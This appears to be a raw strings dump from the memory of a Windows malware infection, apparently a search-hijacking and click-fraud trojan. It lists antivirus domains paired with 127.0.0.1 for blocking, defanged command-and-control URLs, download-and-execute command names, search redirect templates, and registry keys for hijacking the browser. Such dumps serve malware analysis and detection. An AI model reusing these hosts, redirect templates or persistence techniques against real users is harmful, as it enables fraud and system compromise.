liveupdate.symantec.com
liveupdate.symantec.com
liveupdate.symantecliveupdate.com
liveupdate.symantecliveupdate.com
macafee.com
macafee.com
mast.mcafee.com
mast.mcafee.com
mcafee.com
mcafee.com
microsoft.com
microsoft.com
msdn.microsoft.com
msdn.microsoft.com
my-etrust.com
my-etrust.com
networkassociates.com
networkassociates.com
nod32.com
nod32.com
norman.com
norman.com
norton.com
norton.com
nprotect.com
nprotect.com
pandasecurity.com
pandasecurity.com
pandasoftware.com
pandasoftware.com
pctools.com
pctools.com
pif.symantec.com
pif.symantec.com
pifmain.symantec.com
pifmain.symantec.com
rads.mcafee.com
rads.mcafee.com
rising-global.com
rising-global.com
scanner.novirusthanks.org
scanner.novirusthanks.org
secure.nai.com
secure.nai.com
securityresponse.symantec.com
securityresponse.symantec.com
service1.symantec.com
service1.symantec.com
sophos.com
sophos.com
sunbeltsoftware.com
sunbeltsoftware.com
support.microsoft.com
support.microsoft.com
symantec.com
symantec.com
symantec.com/updates
symantec.com/updates
threatexpert.com
threatexpert.com
trendmicro.com
trendmicro.com
u2.eset.com
u2.eset.com
u20.eset.com
u20.eset.com
u3.eset.com
u3.eset.com
u3.eset.com/
u3.eset.com/
u4.eset.com
u4.eset.com
u4.eset.com/
u4.eset.com/
u7.eset.com
u7.eset.com
update.avg.com
update.avg.com
update.microsoft.com
update.microsoft.com
update.symantec.com
update.symantec.com
updates.symantec.com
updates.symantec.com
updates1.kaspersky-labs.com
updates1.kaspersky-labs.com
updates2.kaspersky-labs.com
updates2.kaspersky-labs.com
updates3.kaspersky-labs.com
updates3.kaspersky-labs.com
us.mcafee.com
us.mcafee.com
viabcp.com
viabcp.com
virscan.org
virscan.org
virusbuster.hu
virusbuster.hu
viruslist.com
viruslist.com
viruslist.ru
viruslist.ru
virusscan.jotti.org
virusscan.jotti.org
virustotal.com
virustotal.com
windowsupdate.microsoft.com
windowsupdate.microsoft.com
VVV.ahnlab.com
VVV.ahnlab.com
VVV.aladdin.com
VVV.aladdin.com
VVV.antivir.es
VVV.antivir.es
VVV.antiy.net
VVV.antiy.net
VVV.authentium.com
VVV.authentium.com
VVV.avast.com
VVV.avast.com
VVV.avg.com
VVV.avg.com
VVV.avp.com
VVV.avp.com
VVV.avp.ru
VVV.avp.ru
VVV.avp.ru/download/
VVV.avp.ru/download/
VVV.bitdefender.com
VVV.bitdefender.com
VVV.clamav.net
VVV.clamav.net
VVV.comodo.com
VVV.comodo.com
VVV.download.mcafee.com
VVV.download.mcafee.com
VVV.drweb.com
VVV.drweb.com
VVV.emsisoft.com
VVV.emsisoft.com
VVV.eset.com
VVV.eset.com
VVV.eset.com/
VVV.eset.com/
VVV.eset.com/download/index.php
VVV.eset.com/download/index.php
VVV.eset.com/joomla/
VVV.eset.com/joomla/
VVV.eset.com/products/index.php
VVV.eset.com/products/index.php
VVV.fortinet.com
VVV.fortinet.com
VVV.f-prot.com
VVV.f-prot.com
VVV.f-secure.com
VVV.f-secure.com
VVV.gdata.es
VVV.gdata.es
VVV.grisoft.com
VVV.grisoft.com
VVV.ikarus.at
VVV.ikarus.at
VVV.kaspersky.com
VVV.kaspersky.com
VVV.kaspersky.ru
VVV.kaspersky.ru
VVV.kaspersky-labs.com
VVV.kaspersky-labs.com
VVV.macafee.com
VVV.macafee.com
VVV.mcafee.com
VVV.mcafee.com
VVV.microsoft.com
VVV.microsoft.com
VVV.my-etrust.com
VVV.my-etrust.com
VVV.networkassociates.com
VVV.networkassociates.com
VVV.nod32.com
VVV.nod32.com
VVV.norman.com
VVV.norman.com
VVV.norton.com
VVV.norton.com
VVV.nprotect.com
VVV.nprotect.com
VVV.pandasecurity.com
VVV.pandasecurity.com
VVV.pandasoftware.com
VVV.pandasoftware.com
VVV.pctools.com
VVV.pctools.com
VVV.rising-global.com
VVV.rising-global.com
VVV.scanner.novirusthanks.org
VVV.scanner.novirusthanks.org
VVV.sophos.com
VVV.sophos.com
VVV.sunbeltsoftware.com
VVV.sunbeltsoftware.com
VVV.symantec.com
VVV.symantec.com
VVV.symantec.com/updates
VVV.symantec.com/updates
VVV.trendmicro.com
VVV.trendmicro.com
VVV.virscan.org
VVV.virscan.org
VVV.viruslist.com
VVV.viruslist.com
VVV.viruslist.ru
VVV.viruslist.ru
VVV.virusscan.jotti.org
VVV.virusscan.jotti.org
VVV.virustotal.com
VVV.virustotal.com
VVV.windowsupdate.microsoft.com
VVV.windowsupdate.microsoft.com
127.0.0.1
127.0.0.1
8.datu
8.datu
4B4F4K4^4t4z4
4B4F4K4^4t4z4
2$2-23292?2
2$2-23292?2
'&%$#"! /.-, *)(76543210?>=
'&%$#"! /.-, *)(76543210?>=
ˆD?
ˆD?
.text
.text
`.rdata
`.rdata
@.data
@.data
.reloc
.reloc
kernel32.dll
kernel32.dll
dll.dll
dll.dll
%System%\dll
%System%\dll
fchrome.exe
fchrome.exe
lb.dll
lb.dll
mgoogle.com
mgoogle.com
Explorer.EXE_884_rwx_01F00000_00001000:
.text
.text
`.data
`.data
.reloc
.reloc
svchost.exe_1144_rwx_01BB0000_00012000:
t.FE;l$
t.FE;l$
winmm.dll
winmm.dll
ole32.dll
ole32.dll
maxhttpredirects
maxhttpredirects
software\microsoft\windows\currentversion\internet settings
software\microsoft\windows\currentversion\internet settings
enablehttp1_1
enablehttp1_1
software\microsoft\windows\currentversion\internet settings\zones\3
software\microsoft\windows\currentversion\internet settings\zones\3
%s\%s
%s\%s
hXXp://%s/?xurl=%s&xref=%s
hXXp://%s/?xurl=%s&xref=%s
clk=%s&bid=%s&aid=%s&sid=%s&rd=%s
clk=%s&bid=%s&aid=%s&sid=%s&rd=%s
atl.dll
atl.dll
oleaut32.dll
oleaut32.dll
n%D,3
n%D,3
Global\3006345f-6baf-4669-a7e1-aaa310564be9
Global\3006345f-6baf-4669-a7e1-aaa310564be9
kdmf.tmp
kdmf.tmp
%d|%d|%s|%s
%d|%d|%s|%s
Mozilla/4.0 (compatible; MSIE 1.0; Windows NT; CMD3)
Mozilla/4.0 (compatible; MSIE 1.0; Windows NT; CMD3)
DownloadAndExecute
DownloadAndExecute
DownloadCryptedAndExecute
DownloadCryptedAndExecute
DownloadCryptedAndExecute2
DownloadCryptedAndExecute2
%[^.].%[^(](%[^)])
%[^.].%[^(](%[^)])
command|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s
command|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s
setup.exe
setup.exe
google;yahoo;bing.;live.com;msn.com;altavista.com;ask.com;exalead.com;excite.com;dogpile.com;metacrawler.com;webcrawler.com;alltheweb.com;.lycos.;gigablast.com;cuil.com;.aol.;entireweb.com;.search.com;mamma.com;mytalkingbuddy.com;about.com;myspace.com;answers.com;conduit.com;alexa.com;alltheinternet.com;blinkx.com;macromedia.com;adobe.com;amazon.com;facebook.com;youtube.com;wikipedia.org;wikimedia.org;twitter.com;aolcdn.com;othersonline.com;everesttech.net;adrevolver.com;tribalfusion.com;adbureau.net;abmr.net;gstatic.com;virtualearth.net;atdmt.com;ivwbox.;powerset.net;yimg.com;2mdn.net;doubleclick.net;iwon.com;scorecardresearch.com;66.235.120.66;66.235.120.67;ytimg.com;infospace.com;edgesuite.net;superpages.com;lygo.com;compete.com;firmserve.com;worthathousandwords.com;yieldmanager.com;wazizu.com;meedea.com;atwola.com;doubleverify.com;tacoda.net;truveo.com;openx.org;adcertising.com;twimg.com;picsearch.com;oneriot.com;.com.com;flickr.com;searchvideo.com;.tqn.com;myspacecdn.com;fimservecdn.com;alexametrics.com
google;yahoo;bing.;live.com;msn.com;altavista.com;ask.com;exalead.com;excite.com;dogpile.com;metacrawler.com;webcrawler.com;alltheweb.com;.lycos.;gigablast.com;cuil.com;.aol.;entireweb.com;.search.com;mamma.com;mytalkingbuddy.com;about.com;myspace.com;answers.com;conduit.com;alexa.com;alltheinternet.com;blinkx.com;macromedia.com;adobe.com;amazon.com;facebook.com;youtube.com;wikipedia.org;wikimedia.org;twitter.com;aolcdn.com;othersonline.com;everesttech.net;adrevolver.com;tribalfusion.com;adbureau.net;abmr.net;gstatic.com;virtualearth.net;atdmt.com;ivwbox.;powerset.net;yimg.com;2mdn.net;doubleclick.net;iwon.com;scorecardresearch.com;66.235.120.66;66.235.120.67;ytimg.com;infospace.com;edgesuite.net;superpages.com;lygo.com;compete.com;firmserve.com;worthathousandwords.com;yieldmanager.com;wazizu.com;meedea.com;atwola.com;doubleverify.com;tacoda.net;truveo.com;openx.org;adcertising.com;twimg.com;picsearch.com;oneriot.com;.com.com;flickr.com;searchvideo.com;.tqn.com;myspacecdn.com;fimservecdn.com;alexametrics.com
HTTP/1.1 302 Found
HTTP/1.1 302 Found
Location: %s
Location: %s
HTTP/1.1 200 OK
HTTP/1.1 200 OK
Content-Length: %d
Content-Length: %d
hXXps://68b6b6b6.com/;hXXps://61.61.20.132/;hXXps://34jh7alm94.asia/;hXXps://61.61.20.135/;hXXps://nyewrika.in/;hXXps://rukkieanno.in/
hXXps://68b6b6b6.com/;hXXps://61.61.20.132/;hXXps://34jh7alm94.asia/;hXXps://61.61.20.135/;hXXps://nyewrika.in/;hXXps://rukkieanno.in/
hXXp://rudolfdisney.com/;hXXp://crozybanner.com/;hXXp://imagemonstar.com/;hXXp://funimgpixson.com/;hXXp://bunnylandisney.com/
hXXp://rudolfdisney.com/;hXXp://crozybanner.com/;hXXp://imagemonstar.com/;hXXp://funimgpixson.com/;hXXp://bunnylandisney.com/
hXXp://cri71ki813ck.com/
hXXp://cri71ki813ck.com/
hXXp://lkckclckl1i1i.com/
hXXp://lkckclckl1i1i.com/
cfg.ini
cfg.ini
urlmon.dll
urlmon.dll
bckfg.tmp
bckfg.tmp
svchost.exe
svchost.exe
Global\9e6af8f3-75f3-4b67-877a-c80125d7bc08
Global\9e6af8f3-75f3-4b67-877a-c80125d7bc08
*firefox*
*firefox*
*chrome*
*chrome*
*opera*
*opera*
Global\a68d7de8-eba6-4a54-90e0-9cb9d93b3ed7
Global\a68d7de8-eba6-4a54-90e0-9cb9d93b3ed7
Global\cc51461b-e32a-4883-8e97-e0706dc65415
Global\cc51461b-e32a-4883-8e97-e0706dc65415
keywords
keywords
Accept-Language: %s
Accept-Language: %s
%s hXXp://%s/?xurl=%s&xref=%s
%s hXXp://%s/?xurl=%s&xref=%s
%s %s
%s %s
1.6|%s|%s|%s|%s|%s|%s
1.6|%s|%s|%s|%s|%s|%s
0123456789
0123456789
software\classes\http\shell\open\command
software\classes\http\shell\open\command
firefox
firefox
:"/\|?*
:"/\|?*
%s-%s
%s-%s
. d SP.%s
. d SP.%s
%s.dll
%s.dll
kernel32.dll
kernel32.dll
.text
.text
.rdata
.rdata
Global\452fefe0-a06e-400f-8d6b-6a12a0a09d4b
Global\452fefe0-a06e-400f-8d6b-6a12a0a09d4b
VVV.google.
VVV.google.
/webhp
/webhp
search.yahoo.com
search.yahoo.com
.altavista.com
.altavista.com
/web/results
/web/results
.ask.com
.ask.com
VVV.exalead.com
VVV.exalead.com
/search/web/results
/search/web/results
VVV.alltheweb.com
VVV.alltheweb.com
search.lycos.
search.lycos.
tab=web
tab=web
gigablast.com
gigablast.com
cuil.com
cuil.com
.aol.
.aol.
entireweb.com
entireweb.com
md=web
md=web
VVV.search.com
VVV.search.com
VVV.mamma.com
VVV.mamma.com
mytalkingbuddy.com
mytalkingbuddy.com
searchservice.myspace.com
searchservice.myspace.com
type=web
type=web
search.conduit.com
search.conduit.com
search.toolbars.alexa.com
search.toolbars.alexa.com
alltheinternet.com
alltheinternet.com
/ws/results/web/
/ws/results/web/
%u|%u
%u|%u
ver=%s&bid=%s&aid=%s&sid=%s&rd=%s&eng=%s&q=%s
ver=%s&bid=%s&aid=%s&sid=%s&rd=%s&eng=%s&q=%s
hXXp://%s%s
hXXp://%s%s
?xurl=
?xurl=
http/1.
http/1.
mozilla
mozilla
windowsupdate
windowsupdate
\\?\globalroot\device\0000052f\6204f4a1\kdmf.tmp
\\?\globalroot\device\0000052f\6204f4a1\kdmf.tmp
%WinDir%\System32\svchost.exe
%WinDir%\System32\svchost.exe
448539723
448539723
\\?\globalroot\device\0000052f\6204f4a1
\\?\globalroot\device\0000052f\6204f4a1
cmd.dll
cmd.dll
\\?\globalroot\device\0000052f\6204f4a1\keywords
\\?\globalroot\device\0000052f\6204f4a1\keywords
\\?\globalroot\device\0000052f\6204f4a1\cfg.ini
\\?\globalroot\device\0000052f\6204f4a1\cfg.ini
WinExec
WinExec
SHEnumKeyExA
SHEnumKeyExA
FindFirstUrlCacheEntryW
FindFirstUrlCacheEntryW
UnlockUrlCacheEntryFileW
UnlockUrlCacheEntryFileW
DeleteUrlCacheEntryW
DeleteUrlCacheEntryW
FindNextUrlCacheEntryW
FindNextUrlCacheEntryW
InternetCrackUrlA
InternetCrackUrlA
HttpOpenRequestA
HttpOpenRequestA
HttpSendRequestA
HttpSendRequestA
HttpQueryInfoW
HttpQueryInfoW
FindCloseUrlCache
FindCloseUrlCache
`.rdata
`.rdata
@.data
@.data
.reloc
.reloc
KERNEL32.DLL
KERNEL32.DLL
ADVAPI32.dll
ADVAPI32.dll
imagehlp.dll
imagehlp.dll
ntdll.dll
ntdll.dll
SHLWAPI.dll
SHLWAPI.dll
USER32.dll
USER32.dll
WININET.dll
WININET.dll
WebBrowser
WebBrowser
%s-%d
%s-%d
eplorer\iexplore.exe" -nohome
eplorer\iexplore.exe" -nohome
spoolsv.exe_1468_rwx_00AF0000_0000E000:
HTTP/1.1
HTTP/1.1
Software\Microsoft\Windows\CurrentVersion\Explorer\LowRegistry
Software\Microsoft\Windows\CurrentVersion\Explorer\LowRegistry
SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore
SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore
\user32.dll
\user32.dll
b.dll
b.dll
spoolsv.exe
spoolsv.exe
/message.php
/message.php
.co.cc
.co.cc
.cz.cc
.cz.cc
.info
.info
\updhlp.dat
\updhlp.dat
Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
19792079
19792079
1979207932
1979207932
[%subid]
[%subid]
[%key]
[%key]
google.com/
google.com/
**http://
**http://
search.yahoo.com
search.yahoo.com
bing.com
bing.com
\temp.ini
\temp.ini
\admin.txt
\admin.txt
.aspx
.aspx
iexplore.exe
iexplore.exe
&HTTP_REFERER=
&HTTP_REFERER=
\server.dat
\server.dat
\Windows
\Windows
\winhelp.exe
\winhelp.exe
sb_tlst">
19091979
19091979
HTTP/1.1 302 Moved Temporarily
HTTP/1.1 302 Moved Temporarily
HTTP/1.1 200 OK
HTTP/1.1 200 OK
19091979
19091979
HTTP/1.1 302 Moved Temporarily
HTTP/1.1 302 Moved Temporarily
HTTP/1.1 200 OK
HTTP/1.1 200 OK